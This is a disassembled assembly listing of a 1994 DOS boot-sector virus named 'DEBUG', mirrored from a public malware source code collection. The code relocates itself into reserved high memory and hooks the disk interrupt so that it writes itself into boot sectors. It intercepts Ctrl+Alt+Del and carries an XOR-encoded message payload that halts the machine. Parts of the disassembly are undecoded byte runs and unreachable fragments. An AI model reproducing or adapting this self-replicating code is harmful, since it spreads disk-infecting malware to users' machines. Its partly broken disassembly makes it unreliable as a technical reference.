mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
285 lines
6.3 KiB
NASM
285 lines
6.3 KiB
NASM
|
|
|||
|
PAGE 59,132
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><> <20><>
|
|||
|
;<3B><> DEBUG <20><>
|
|||
|
;<3B><> <20><>
|
|||
|
;<3B><> Created: 16-Sep-94 <20><>
|
|||
|
;<3B><> Passes: 5 Analysis Options on: none <20><>
|
|||
|
;<3B><> <20><>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
target EQU 'T3' ; Target assembler: TASM-3.1
|
|||
|
|
|||
|
include srmacros.inc
|
|||
|
|
|||
|
|
|||
|
; The following equates show data references outside the range of the program.
|
|||
|
|
|||
|
data_1e equ 6
|
|||
|
data_2e equ 0Eh
|
|||
|
data_3e equ 417h
|
|||
|
data_4e equ 46Eh
|
|||
|
data_5e equ 24h
|
|||
|
data_6e equ 26h
|
|||
|
data_7e equ 4Ch
|
|||
|
data_8e equ 4Eh
|
|||
|
data_13e equ 413h ;*
|
|||
|
data_14e equ 46Eh ;*
|
|||
|
data_15e equ 7C00h ;*
|
|||
|
data_16e equ 7CD3h ;*
|
|||
|
data_18e equ 7D25h ;*
|
|||
|
data_19e equ 7DBDh ;*
|
|||
|
|
|||
|
seg_a segment byte public
|
|||
|
assume cs:seg_a, ds:seg_a
|
|||
|
|
|||
|
|
|||
|
org 100h
|
|||
|
|
|||
|
debug proc far
|
|||
|
|
|||
|
start:
|
|||
|
jmp short real_start
|
|||
|
;* No entry point to code
|
|||
|
nop
|
|||
|
push si
|
|||
|
inc di
|
|||
|
inc cx
|
|||
|
inc bx
|
|||
|
push ax
|
|||
|
db 36h, 30h, 33h, 00h, 02h, 01h
|
|||
|
db 01h, 00h, 02h, 70h, 00h, 68h
|
|||
|
db 06h,0F9h, 05h, 00h, 0Ah, 00h
|
|||
|
db 02h
|
|||
|
db 9 dup (0)
|
|||
|
db 01h, 00h, 29h,0EDh, 93h, 26h
|
|||
|
db 1Dh
|
|||
|
db 'NO NAME FAT12 '
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;
|
|||
|
; External Entry Point
|
|||
|
;
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
real_start:
|
|||
|
cli ; Disable interrupts
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ax,ds:data_7e
|
|||
|
mov ds:data_16e,ax
|
|||
|
mov ax,ds:data_8e
|
|||
|
mov word ptr ds:data_16e+2,ax
|
|||
|
mov al,ds:data_14e
|
|||
|
mov ds:data_19e,al
|
|||
|
mov ax,ds:data_13e
|
|||
|
dec ax
|
|||
|
mov ds:data_13e,ax
|
|||
|
mov cl,6
|
|||
|
shl ax,cl ; Shift w/zeros fill
|
|||
|
sub ax,7C0h
|
|||
|
mov ds:data_8e,ax
|
|||
|
mov ds:data_6e,ax
|
|||
|
mov word ptr ds:data_7e,7C82h
|
|||
|
mov word ptr ds:data_5e,7D62h
|
|||
|
mov si,data_15e
|
|||
|
mov di,si
|
|||
|
mov es,ax
|
|||
|
mov cx,100h
|
|||
|
cld ; Clear direction
|
|||
|
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
|||
|
int 19h ; Bootstrap loader
|
|||
|
cmp ah,0AAh
|
|||
|
jne loc_1 ; Jump if not equal
|
|||
|
iret ; Interrupt return
|
|||
|
loc_1:
|
|||
|
cmp ah,2
|
|||
|
jne loc_4 ; Jump if not equal
|
|||
|
cmp cx,1
|
|||
|
jne loc_4 ; Jump if not equal
|
|||
|
cmp dh,0
|
|||
|
jne loc_4 ; Jump if not equal
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push si
|
|||
|
push di
|
|||
|
pushf ; Push flags
|
|||
|
call dword ptr cs:data_16e
|
|||
|
jnc loc_2 ; Jump if carry=0
|
|||
|
jmp short loc_5
|
|||
|
loc_2:
|
|||
|
cmp word ptr es:[1FEh][bx],0AA55h
|
|||
|
je loc_3 ; Jump if equal
|
|||
|
jmp short $+29h
|
|||
|
db 26h, 80h,0BFh,0BCh, 01h,0C9h
|
|||
|
db 74h, 7Ah,0E8h, 8Bh, 00h,0E8h
|
|||
|
data_10 db 31h ; Data table (indexed access)
|
|||
|
db 00h, 8Bh,0F3h, 80h,0FAh, 79h
|
|||
|
db 77h, 1Eh, 83h,0C6h, 02h,0BFh
|
|||
|
db 02h, 7Ch,0B9h, 1Eh, 00h, 32h
|
|||
|
db 0F6h,0EBh, 30h,0EAh, 85h,0A5h
|
|||
|
db 00h,0F0h
|
|||
|
db 0B8h, 01h, 00h,0F8h
|
|||
|
loc_5:
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop bx
|
|||
|
inc sp
|
|||
|
inc sp
|
|||
|
retf 2 ; Return far
|
|||
|
loc_6:
|
|||
|
add si,1BEh
|
|||
|
mov di,7DBEh
|
|||
|
mov cx,20h
|
|||
|
jmp short $+15h
|
|||
|
|
|||
|
debug endp
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_1 proc near
|
|||
|
mov ax,301h
|
|||
|
pushf ; Push flags
|
|||
|
call dword ptr cs:data_16e
|
|||
|
jnc loc_ret_7 ; Jump if carry=0
|
|||
|
pop bx
|
|||
|
mov cl,1
|
|||
|
xor dh,dh ; Zero register
|
|||
|
jmp short $-28h
|
|||
|
|
|||
|
loc_ret_7:
|
|||
|
retn
|
|||
|
sub_1 endp
|
|||
|
|
|||
|
;* No entry point to code
|
|||
|
push ds
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
cld ; Clear direction
|
|||
|
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
|||
|
mov cx,1
|
|||
|
mov bx,7C00h
|
|||
|
mov ax,301h
|
|||
|
pushf ; Push flags
|
|||
|
call dword ptr cs:data_16e
|
|||
|
jc $-0Fh ; Jump if carry Set
|
|||
|
push ds
|
|||
|
pop es
|
|||
|
inc byte ptr cs:data_19e
|
|||
|
pop ds
|
|||
|
jmp short $-4Ch
|
|||
|
;* No entry point to code
|
|||
|
add ax,714h
|
|||
|
sbb al,1
|
|||
|
or al,75h ; 'u'
|
|||
|
push ss
|
|||
|
sbb ax,1610h
|
|||
|
push ds
|
|||
|
db 0FFh
|
|||
|
loc_8:
|
|||
|
call sub_2
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
pushf ; Push flags
|
|||
|
call dword ptr cs:data_16e
|
|||
|
xor dh,dh ; Zero register
|
|||
|
mov cl,1
|
|||
|
retf 2 ; Return far
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_2 proc near
|
|||
|
cmp dl,79h ; 'y'
|
|||
|
ja loc_10 ; Jump if above
|
|||
|
mov ax,es:[bx+16h]
|
|||
|
mov dh,1
|
|||
|
cmp al,3
|
|||
|
jae loc_9 ; Jump if above or =
|
|||
|
mov cl,3
|
|||
|
retn
|
|||
|
loc_9:
|
|||
|
cmp al,7
|
|||
|
jae loc_10 ; Jump if above or =
|
|||
|
mov cl,5
|
|||
|
retn
|
|||
|
loc_10:
|
|||
|
mov cl,0Eh
|
|||
|
retn
|
|||
|
sub_2 endp
|
|||
|
|
|||
|
;* No entry point to code
|
|||
|
push ax
|
|||
|
push ds
|
|||
|
xor ax,ax ; Zero register
|
|||
|
mov ds,ax
|
|||
|
mov al,ds:data_3e
|
|||
|
and al,0Ch
|
|||
|
cmp al,0Ch
|
|||
|
jne loc_11 ; Jump if not equal
|
|||
|
in al,60h ; port 60h, keybd scan or sw1
|
|||
|
cmp al,53h ; 'S'
|
|||
|
jne loc_11 ; Jump if not equal
|
|||
|
in al,61h ; port 61h, 8255 port B, read
|
|||
|
push ax
|
|||
|
or al,80h
|
|||
|
out 61h,al ; port 61h, 8255 B - spkr, etc
|
|||
|
pop ax
|
|||
|
out 61h,al ; port 61h, 8255 B - spkr, etc
|
|||
|
; al = 0, disable parity
|
|||
|
mov ax,2
|
|||
|
int 10h ; Video display ah=functn 00h
|
|||
|
; set display mode in al
|
|||
|
mov al,20h ; ' '
|
|||
|
out 20h,al ; port 20h, 8259-1 int command
|
|||
|
; al = 20h, end of interrupt
|
|||
|
int 19h ; Bootstrap loader
|
|||
|
loc_11:
|
|||
|
mov al,ds:data_4e
|
|||
|
mov ds:data_1e,ax
|
|||
|
mov ds:data_2e,ax
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
cmp al,ds:data_19e
|
|||
|
jbe $+1Ah ; Jump if below or =
|
|||
|
xor ax,ax ; Zero register
|
|||
|
int 10h ; Video display ah=functn 00h
|
|||
|
; set display mode in al
|
|||
|
mov si,data_18e
|
|||
|
loc_12:
|
|||
|
mov ah,0Eh
|
|||
|
xor bx,bx ; Zero register
|
|||
|
cld ; Clear direction
|
|||
|
lodsb ; String [si] to al
|
|||
|
cmp al,0FFh
|
|||
|
je loc_13 ; Jump if equal
|
|||
|
xor al,55h ; 'U'
|
|||
|
int 10h ; Video display ah=functn 0Eh
|
|||
|
; write char al, teletype mode
|
|||
|
jmp short loc_12
|
|||
|
loc_13:
|
|||
|
hlt ; Halt processor
|
|||
|
pop ds
|
|||
|
pop ax
|
|||
|
jmp far ptr $-1930h
|
|||
|
db 0C9h, 0Fh, 80h, 01h, 01h, 00h
|
|||
|
db 06h, 0Eh,0E2h,0E7h, 22h, 00h
|
|||
|
db 00h, 00h, 0Eh,0C8h, 07h
|
|||
|
db 49 dup (0)
|
|||
|
db 55h,0AAh
|
|||
|
|
|||
|
seg_a ends
|
|||
|
|
|||
|
|
|||
|
|
|||
|
end start
|